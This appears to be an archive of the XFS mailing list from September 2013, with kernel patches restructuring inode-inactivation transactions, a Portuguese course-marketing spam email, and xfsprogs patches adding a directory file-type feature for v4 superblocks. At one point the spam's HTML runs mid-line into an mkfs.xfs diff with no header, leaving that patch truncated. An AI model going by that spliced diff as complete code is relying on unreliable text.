xfs_qm_dqdetach(ip); -out_unlock: xfs_iunlock(ip, XFS_ILOCK_EXCL); out: return VN_INACTIVE_CACHE; -out_cancel: - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); - goto out_unlock; } /* -- 1.8.1.4 From bfoster@redhat.com Thu Sep 19 14:15:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E1C1B29E0B for ; Thu, 19 Sep 2013 14:15:26 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B40088F8089 for ; Thu, 19 Sep 2013 12:15:26 -0700 (PDT) X-ASG-Debug-ID: 1379618122-04bdf02f2112305e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id iccBJxGt4buOu4wy for ; Thu, 19 Sep 2013 12:15:22 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8JJFMBC024635 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 19 Sep 2013 15:15:22 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8JJFLJx021940 for ; Thu, 19 Sep 2013 15:15:22 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 45F00122DE4; Thu, 19 Sep 2013 15:15:21 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v2 1/4] xfs: push down inactive transaction mgmt for remote symlinks Date: Thu, 19 Sep 2013 15:15:18 -0400 X-ASG-Orig-Subj: [PATCH v2 1/4] xfs: push down inactive transaction mgmt for remote symlinks Message-Id: <1379618121-35105-2-git-send-email-bfoster@redhat.com> In-Reply-To: <1379618121-35105-1-git-send-email-bfoster@redhat.com> References: <1379618121-35105-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379618122 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Push down the transaction management for remote symlinks from xfs_inactive() down to xfs_inactive_symlink_rmt(). The latter is cleaned up to avoid transaction management intended for the calling context (i.e., trans duplication, reservation, item attachment). Signed-off-by: Brian Foster --- fs/xfs/xfs_inode.c | 15 +++++----- fs/xfs/xfs_symlink.c | 81 ++++++++++++++++++++++------------------------------ fs/xfs/xfs_symlink.h | 2 +- 3 files changed, 43 insertions(+), 55 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index e3d7538..30db70e 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1724,9 +1724,14 @@ xfs_inactive( if (error) return VN_INACTIVE_CACHE; + if (S_ISLNK(ip->i_d.di_mode)) { + error = xfs_inactive_symlink(ip); + if (error) + goto out; + } + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - resp = (truncate || S_ISLNK(ip->i_d.di_mode)) ? - &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; + resp = truncate ? &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; error = xfs_trans_reserve(tp, resp, 0, 0); if (error) { @@ -1738,11 +1743,7 @@ xfs_inactive( xfs_ilock(ip, XFS_ILOCK_EXCL); xfs_trans_ijoin(tp, ip, 0); - if (S_ISLNK(ip->i_d.di_mode)) { - error = xfs_inactive_symlink(ip, &tp); - if (error) - goto out_cancel; - } else if (truncate) { + if (truncate) { ip->i_d.di_size = 0; xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index f622a97..2ce31a5 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -424,8 +424,7 @@ xfs_symlink( */ STATIC int xfs_inactive_symlink_rmt( - xfs_inode_t *ip, - xfs_trans_t **tpp) + xfs_inode_t *ip) { xfs_buf_t *bp; int committed; @@ -437,11 +436,9 @@ xfs_inactive_symlink_rmt( xfs_mount_t *mp; xfs_bmbt_irec_t mval[XFS_SYMLINK_MAPS]; int nmaps; - xfs_trans_t *ntp; int size; xfs_trans_t *tp; - tp = *tpp; mp = ip->i_mount; ASSERT(ip->i_df.if_flags & XFS_IFEXTENTS); /* @@ -453,6 +450,14 @@ xfs_inactive_symlink_rmt( */ ASSERT(ip->i_d.di_nextents > 0 && ip->i_d.di_nextents <= 2); + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); + if (error) + goto error_trans_cancel; + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, 0); + /* * Lock the inode, fix the size, and join it to the transaction. * Hold it so in the normal path, we still have it locked for @@ -471,7 +476,7 @@ xfs_inactive_symlink_rmt( error = xfs_bmapi_read(ip, 0, xfs_symlink_blocks(mp, size), mval, &nmaps, 0); if (error) - goto error0; + goto error_unlock; /* * Invalidate the block(s). No validation is done. */ @@ -481,22 +486,24 @@ xfs_inactive_symlink_rmt( XFS_FSB_TO_BB(mp, mval[i].br_blockcount), 0); if (!bp) { error = ENOMEM; - goto error1; + goto error_bmap_cancel; } xfs_trans_binval(tp, bp); } /* * Unmap the dead block(s) to the free_list. */ - if ((error = xfs_bunmapi(tp, ip, 0, size, XFS_BMAPI_METADATA, nmaps, - &first_block, &free_list, &done))) - goto error1; + error = xfs_bunmapi(tp, ip, 0, size, XFS_BMAPI_METADATA, nmaps, + &first_block, &free_list, &done); + if (error) + goto error_bmap_cancel; ASSERT(done); /* * Commit the first transaction. This logs the EFI and the inode. */ - if ((error = xfs_bmap_finish(&tp, &free_list, &committed))) - goto error1; + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto error_bmap_cancel; /* * The transaction must have been committed, since there were * actually extents freed by xfs_bunmapi. See xfs_bmap_finish. @@ -508,29 +515,16 @@ xfs_inactive_symlink_rmt( * Mark it dirty so it will be logged and moved forward in the log as * part of every commit. */ - xfs_trans_ijoin(tp, ip, 0); + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); /* - * Get a new, empty transaction to return to our caller. - */ - ntp = xfs_trans_dup(tp); - /* * Commit the transaction containing extent freeing and EFDs. - * If we get an error on the commit here or on the reserve below, - * we need to unlock the inode since the new transaction doesn't - * have the inode attached. */ - error = xfs_trans_commit(tp, 0); - tp = ntp; + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); if (error) { ASSERT(XFS_FORCED_SHUTDOWN(mp)); - goto error0; + goto error_trans_cancel; } - /* - * transaction commit worked ok so we can drop the extra ticket - * reference that we gained in xfs_trans_dup() - */ - xfs_log_ticket_put(tp->t_ticket); /* * Remove the memory for extent descriptions (just bookkeeping). @@ -538,23 +532,14 @@ xfs_inactive_symlink_rmt( if (ip->i_df.if_bytes) xfs_idata_realloc(ip, -ip->i_df.if_bytes, XFS_DATA_FORK); ASSERT(ip->i_df.if_bytes == 0); - /* - * Put an itruncate log reservation in the new transaction - * for our caller. - */ - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); - if (error) { - ASSERT(XFS_FORCED_SHUTDOWN(mp)); - goto error0; - } - - xfs_trans_ijoin(tp, ip, 0); - *tpp = tp; return 0; - error1: +error_bmap_cancel: xfs_bmap_cancel(&free_list); - error0: +error_unlock: + xfs_iunlock(ip, XFS_ILOCK_EXCL); +error_trans_cancel: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); return error; } @@ -563,16 +548,13 @@ xfs_inactive_symlink_rmt( */ int xfs_inactive_symlink( - struct xfs_inode *ip, - struct xfs_trans **tp) + struct xfs_inode *ip) { struct xfs_mount *mp = ip->i_mount; int pathlen; trace_xfs_inactive_symlink(ip); - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); - if (XFS_FORCED_SHUTDOWN(mp)) return XFS_ERROR(EIO); @@ -590,14 +572,19 @@ xfs_inactive_symlink( return XFS_ERROR(EFSCORRUPTED); } + xfs_ilock(ip, XFS_ILOCK_EXCL); + if (ip->i_df.if_flags & XFS_IFINLINE) { - if (ip->i_df.if_bytes > 0) + if (ip->i_df.if_bytes > 0) xfs_idata_realloc(ip, -(ip->i_df.if_bytes), XFS_DATA_FORK); + xfs_iunlock(ip, XFS_ILOCK_EXCL); ASSERT(ip->i_df.if_bytes == 0); return 0; } + xfs_iunlock(ip, XFS_ILOCK_EXCL); + /* remove the remote symlink */ - return xfs_inactive_symlink_rmt(ip, tp); + return xfs_inactive_symlink_rmt(ip); } diff --git a/fs/xfs/xfs_symlink.h b/fs/xfs/xfs_symlink.h index 99338ba..e75245d 100644 --- a/fs/xfs/xfs_symlink.h +++ b/fs/xfs/xfs_symlink.h @@ -22,6 +22,6 @@ int xfs_symlink(struct xfs_inode *dp, struct xfs_name *link_name, const char *target_path, umode_t mode, struct xfs_inode **ipp); int xfs_readlink(struct xfs_inode *ip, char *link); -int xfs_inactive_symlink(struct xfs_inode *ip, struct xfs_trans **tpp); +int xfs_inactive_symlink(struct xfs_inode *ip); #endif /* __XFS_SYMLINK_H */ -- 1.8.1.4 From bfoster@redhat.com Thu Sep 19 14:15:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C56E229E04 for ; Thu, 19 Sep 2013 14:15:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8922230404E for ; Thu, 19 Sep 2013 12:15:24 -0700 (PDT) X-ASG-Debug-ID: 1379618123-04bdf02f2212305f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id lwnFCVZCUYFhq6CP for ; Thu, 19 Sep 2013 12:15:23 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8JJFM1U009041 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 19 Sep 2013 15:15:23 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r8JJFL6H022418 for ; Thu, 19 Sep 2013 15:15:22 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 5C9EF1233EE; Thu, 19 Sep 2013 15:15:21 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v2 3/4] xfs: push down inactive transaction mgmt for ifree Date: Thu, 19 Sep 2013 15:15:20 -0400 X-ASG-Orig-Subj: [PATCH v2 3/4] xfs: push down inactive transaction mgmt for ifree Message-Id: <1379618121-35105-4-git-send-email-bfoster@redhat.com> In-Reply-To: <1379618121-35105-1-git-send-email-bfoster@redhat.com> References: <1379618121-35105-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379618123 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Push the inode free work performed during xfs_inactive() down into a new xfs_inactive_ifree() helper. This clears xfs_inactive() from all inode locking and transaction management more directly associated with freeing the inode xattrs, extents and the inode itself. Signed-off-by: Brian Foster --- fs/xfs/xfs_inode.c | 121 +++++++++++++++++++++++++++++++---------------------- 1 file changed, 71 insertions(+), 50 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 33bb9be..dde182e 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1715,6 +1715,74 @@ error_trans_cancel: } /* + * xfs_inactive_ifree() + * + * Perform the inode free when an inode is unlinked. + */ +STATIC int +xfs_inactive_ifree( + struct xfs_inode *ip) +{ + xfs_bmap_free_t free_list; + xfs_fsblock_t first_block; + int committed; + struct xfs_mount *mp = ip->i_mount; + struct xfs_trans *tp; + int error; + + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); + if (error) { + ASSERT(XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); + return error; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, 0); + + xfs_bmap_init(&free_list, &first_block); + error = xfs_ifree(tp, ip, &free_list); + if (error) { + /* + * If we fail to free the inode, shut down. The cancel + * might do that, we need to make sure. Otherwise the + * inode might be lost for a long time or forever. + */ + if (!XFS_FORCED_SHUTDOWN(mp)) { + xfs_notice(mp, "%s: xfs_ifree returned error %d", + __func__, error); + xfs_force_shutdown(mp, SHUTDOWN_META_IO_ERROR); + } + xfs_iunlock(ip, XFS_ILOCK_EXCL); + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES|XFS_TRANS_ABORT); + return error; + } + + /* + * Credit the quota account(s). The inode is gone. + */ + xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_ICOUNT, -1); + + /* + * Just ignore errors at this point. There is nothing we can + * do except to try to keep going. Make sure it's not a silent + * error. + */ + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + xfs_notice(mp, "%s: xfs_bmap_finish returned error %d", + __func__, error); + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + xfs_notice(mp, "%s: xfs_trans_commit returned error %d", + __func__, error); + + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return 0; +} + +/* * xfs_inactive * * This is called when the vnode reference count for the vnode @@ -1726,10 +1794,6 @@ int xfs_inactive( xfs_inode_t *ip) { - xfs_bmap_free_t free_list; - xfs_fsblock_t first_block; - int committed; - struct xfs_trans *tp; struct xfs_mount *mp; int error; int truncate = 0; @@ -1801,60 +1865,17 @@ xfs_inactive( ASSERT(ip->i_d.di_anextents == 0); - tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); - if (error) { - ASSERT(XFS_FORCED_SHUTDOWN(mp)); - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); - goto out; - } - - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, 0); - /* * Free the inode. */ - xfs_bmap_init(&free_list, &first_block); - error = xfs_ifree(tp, ip, &free_list); - if (error) { - /* - * If we fail to free the inode, shut down. The cancel - * might do that, we need to make sure. Otherwise the - * inode might be lost for a long time or forever. - */ - if (!XFS_FORCED_SHUTDOWN(mp)) { - xfs_notice(mp, "%s: xfs_ifree returned error %d", - __func__, error); - xfs_force_shutdown(mp, SHUTDOWN_META_IO_ERROR); - } - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES|XFS_TRANS_ABORT); - } else { - /* - * Credit the quota account(s). The inode is gone. - */ - xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_ICOUNT, -1); - - /* - * Just ignore errors at this point. There is nothing we can - * do except to try to keep going. Make sure it's not a silent - * error. - */ - error = xfs_bmap_finish(&tp, &free_list, &committed); - if (error) - xfs_notice(mp, "%s: xfs_bmap_finish returned error %d", - __func__, error); - error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); - if (error) - xfs_notice(mp, "%s: xfs_trans_commit returned error %d", - __func__, error); - } + error = xfs_inactive_ifree(ip); + if (error) + goto out; /* * Release the dquots held by inode, if any. */ xfs_qm_dqdetach(ip); - xfs_iunlock(ip, XFS_ILOCK_EXCL); out: return VN_INACTIVE_CACHE; } -- 1.8.1.4 From return@cli12957.p02me.com Thu Sep 19 15:20:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.1 required=5.0 tests=HTML_IMAGE_RATIO_04, HTML_MESSAGE,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CD4BC7CBF for ; Thu, 19 Sep 2013 15:20:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id BB5588F804C for ; Thu, 19 Sep 2013 13:20:51 -0700 (PDT) X-ASG-Debug-ID: 1379622045-04cbb02c3e11e94d0001-w1Z2WR Received: from 6ca3f068-static.p02me.com (6ca3f068-static.p02me.com [108.163.240.104]) by cuda.sgi.com with ESMTP id JAkq86dwAoYPjLGG for ; Thu, 19 Sep 2013 13:20:45 -0700 (PDT) X-Barracuda-Envelope-From: return@cli12957.p02me.com X-Barracuda-Apparent-Source-IP: 108.163.240.104 Subject: =?UTF-8?Q?Programados__e_Confirmados_para_setembro?= To: X-ASG-Orig-Subj: =?UTF-8?Q?Programados__e_Confirmados_para_setembro?= Mime-Version: 1.0 List-Unsubscribe: Reply-To: marcia@esadcursos.com.br Date: Thu, 19 Sep 2013 17:23:51 -0300 (BRT) X-Priority: 3 From: =?UTF-8?Q?Esad_Cursos?= Content-Type: multipart/alternative; boundary="0c13c9473d598c7cb15b0599e46d599dd4bc899f8de56a006cf0a6ef0539" Message-Id: <12957.154.104307.1379622231@329dh19773h6ca3f068-static.p02me.com> X-Barracuda-Connect: 6ca3f068-static.p02me.com[108.163.240.104] X-Barracuda-Start-Time: 1379622045 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.17 X-Barracuda-Spam-Status: No, SCORE=0.17 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_RATIO_04, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140760 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.17 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. --0c13c9473d598c7cb15b0599e46d599dd4bc899f8de56a006cf0a6ef0539 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="UTF-8" Seu visualizador de e-mail est=C3=A1 configurado para mostrar a mensagem e= m formato texto. Para visualizar corretamente o conte=C3=BAdo desse e-mail copie e cole o = link abaixo em seu navegador: http://d-app.esadcursos.com.br/e/12957/154/104307/c1448 --0c13c9473d598c7cb15b0599e46d599dd4bc899f8de56a006cf0a6ef0539 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset="UTF-8" Carta ESADsb_features_incompat = XFS_SB_FEAT_INCOMPAT_FTYPE; + dirftype = 1; + } + if (!qflag || Nflag) { printf(_( "meta-data=%-22s isize=%-6d agcount=%lld, agsize=%lld blks\n" @@ -2441,7 +2461,7 @@ _("size %s specified for log subvolume i " =%-22s crc=%u\n" "data =%-22s bsize=%-6u blocks=%llu, imaxpct=%u\n" " =%-22s sunit=%-6u swidth=%u blks\n" - "naming =version %-14u bsize=%-6u ascii-ci=%d\n" + "naming =version %-14u bsize=%-6u ascii-ci=%d ftype=%d\n" "log =%-22s bsize=%-6d blocks=%lld, version=%d\n" " =%-22s sectsz=%-5u sunit=%d blks, lazy-count=%d\n" "realtime =%-22s extsz=%-6d blocks=%lld, rtextents=%lld\n"), @@ -2450,7 +2470,7 @@ _("size %s specified for log subvolume i "", crcs_enabled, "", blocksize, (long long)dblocks, imaxpct, "", dsunit, dswidth, - dirversion, dirblocksize, nci, + dirversion, dirblocksize, nci, dirftype, logfile, 1 << blocklog, (long long)logblocks, logversion, "", lsectorsize, lsunit, lazy_sb_counters, rtfile, rtextblocks << blocklog, @@ -2512,8 +2532,9 @@ _("size %s specified for log subvolume i sbp->sb_logsectlog = 0; sbp->sb_logsectsize = 0; } + sbp->sb_features2 = XFS_SB_VERSION2_MKFS(crcs_enabled, lazy_sb_counters, - attrversion == 2, !projid16bit, 0); + attrversion == 2, !projid16bit, 0, dirftype); sbp->sb_versionnum = XFS_SB_VERSION_MKFS(crcs_enabled, iaflag, dsunit != 0, logversion == 2, attrversion == 1, @@ -2521,13 +2542,6 @@ _("size %s specified for log subvolume i lsectorsize != BBSIZE), nci, sbp->sb_features2 != 0); /* - * dirent filetype field always enabled on v5 superblocks - */ - if (crcs_enabled) { - sbp->sb_features_incompat = XFS_SB_FEAT_INCOMPAT_FTYPE; - } - - /* * Due to a structure alignment issue, sb_features2 ended up in one * of two locations, the second "incorrect" location represented by * the sb_bad_features2 field. To avoid older kernels mounting @@ -3065,7 +3079,7 @@ usage( void ) sunit=value|su=num,sectlog=n|sectsize=num,\n\ lazy-count=0|1]\n\ /* label */ [-L label (maximum 12 characters)]\n\ -/* naming */ [-n log=n|size=num,version=2|ci]\n\ +/* naming */ [-n log=n|size=num,version=2|ci,ftype=0|1]\n\ /* no-op info only */ [-N]\n\ /* prototype file */ [-p fname]\n\ /* quiet */ [-q]\n\ Index: b/mkfs/xfs_mkfs.h =================================================================== --- a/mkfs/xfs_mkfs.h +++ b/mkfs/xfs_mkfs.h @@ -36,12 +36,14 @@ XFS_DFL_SB_VERSION_BITS | \ 0 ) : XFS_SB_VERSION_1 ) -#define XFS_SB_VERSION2_MKFS(crc, lazycount, attr2, projid32bit, parent) (\ +#define XFS_SB_VERSION2_MKFS(crc, lazycount, attr2, projid32bit, parent, \ + ftype) (\ ((lazycount) ? XFS_SB_VERSION2_LAZYSBCOUNTBIT : 0) | \ ((attr2) ? XFS_SB_VERSION2_ATTR2BIT : 0) | \ ((projid32bit) ? XFS_SB_VERSION2_PROJID32BIT : 0) | \ ((parent) ? XFS_SB_VERSION2_PARENTBIT : 0) | \ ((crc) ? XFS_SB_VERSION2_CRCBIT : 0) | \ + ((ftype) ? XFS_SB_VERSION2_FTYPE : 0) | \ 0 ) #define XFS_DFL_BLOCKSIZE_LOG 12 /* 4096 byte blocks */ From tinguely@eagdhcp-232-140.americas.sgi.com Thu Sep 19 16:07:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AAEF37F51 for ; Thu, 19 Sep 2013 16:07:03 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8A0968F8040 for ; Thu, 19 Sep 2013 14:07:00 -0700 (PDT) Received: from eagdhcp-232-140.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5) with ESMTP id r8JL6xmk003420 for ; Thu, 19 Sep 2013 16:06:59 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-140.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5/Submit) id r8JL6xsL003419; Thu, 19 Sep 2013 16:06:59 -0500 (CDT) (envelope-from tinguely) Message-Id: <20130919211523.407741285@sgi.com> User-Agent: quilt/0.51-1 Date: Thu, 19 Sep 2013 16:05:23 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH 0/3] xfsprogs: v4 inode type in directory Here are the patches that enable the inode in the directory feature in v4 superblocks. patch 1: add the entries to xfs_sb.h (sync with kernel) patch 2: add the XFS_FSOP_GEOM_FLAGS_FTYPE to xfs_fs.h (sync with kernel) add the entry to repair so that xfs_info reports the feature patch 3: add the feature to mkfs.xfs and manual page. note: this new feature is ignored for superblock v5 automatically turns on this feature. --Mark. From tinguely@eagdhcp-232-140.americas.sgi.com Thu Sep 19 16:07:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E03447F52 for ; Thu, 19 Sep 2013 16:07:03 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id B8965304039 for ; Thu, 19 Sep 2013 14:07:00 -0700 (PDT) Received: from eagdhcp-232-140.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5) with ESMTP id r8JL6xa7003424 for ; Thu, 19 Sep 2013 16:06:59 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-140.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5/Submit) id r8JL6xdg003423; Thu, 19 Sep 2013 16:06:59 -0500 (CDT) (envelope-from tinguely) Message-Id: <20130919211539.028138471@sgi.com> User-Agent: quilt/0.51-1 Date: Thu, 19 Sep 2013 16:05:24 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH 1/3] xfsprog: add xfs sb v4 support for dirent filetype field References: <20130919211523.407741285@sgi.com> Content-Disposition: inline; filename=1-3-xfsprog-add-xfs-sb-v4-support-for-dirent-filetype-field.patch Add xfsprog superblock v4 support for the directory inode type in xfs_sb.h. This support adds a feature bit for version 4 superblocks and leaves the original superblock 5 incompatibility bit. Signed-off-by: Mark Tinguely --- include/xfs_sb.h | 20 ++++++++++++-------- include/xfs_sb.h | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) Index: b/include/xfs_sb.h =================================================================== --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -84,11 +84,13 @@ struct xfs_trans; #define XFS_SB_VERSION2_PARENTBIT 0x00000010 /* parent pointers */ #define XFS_SB_VERSION2_PROJID32BIT 0x00000080 /* 32 bit project id */ #define XFS_SB_VERSION2_CRCBIT 0x00000100 /* metadata CRCs */ +#define XFS_SB_VERSION2_FTYPE 0x00000200 /* inode type in dir */ #define XFS_SB_VERSION2_OKREALFBITS \ (XFS_SB_VERSION2_LAZYSBCOUNTBIT | \ XFS_SB_VERSION2_ATTR2BIT | \ - XFS_SB_VERSION2_PROJID32BIT) + XFS_SB_VERSION2_PROJID32BIT | \ + XFS_SB_VERSION2_FTYPE) #define XFS_SB_VERSION2_OKSASHFBITS \ (0) #define XFS_SB_VERSION2_OKREALBITS \ @@ -631,8 +633,10 @@ static inline int xfs_sb_version_has_pqu static inline int xfs_sb_version_hasftype(struct xfs_sb *sbp) { - return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 && - xfs_sb_has_incompat_feature(sbp, XFS_SB_FEAT_INCOMPAT_FTYPE); + return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 && + xfs_sb_has_incompat_feature(sbp, XFS_SB_FEAT_INCOMPAT_FTYPE)) || + (xfs_sb_version_hasmorebits(sbp) && + (sbp->sb_features2 & XFS_SB_VERSION2_FTYPE)); } /* From tinguely@eagdhcp-232-140.americas.sgi.com Thu Sep 19 16:07:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8FED97F51 for ; Thu, 19 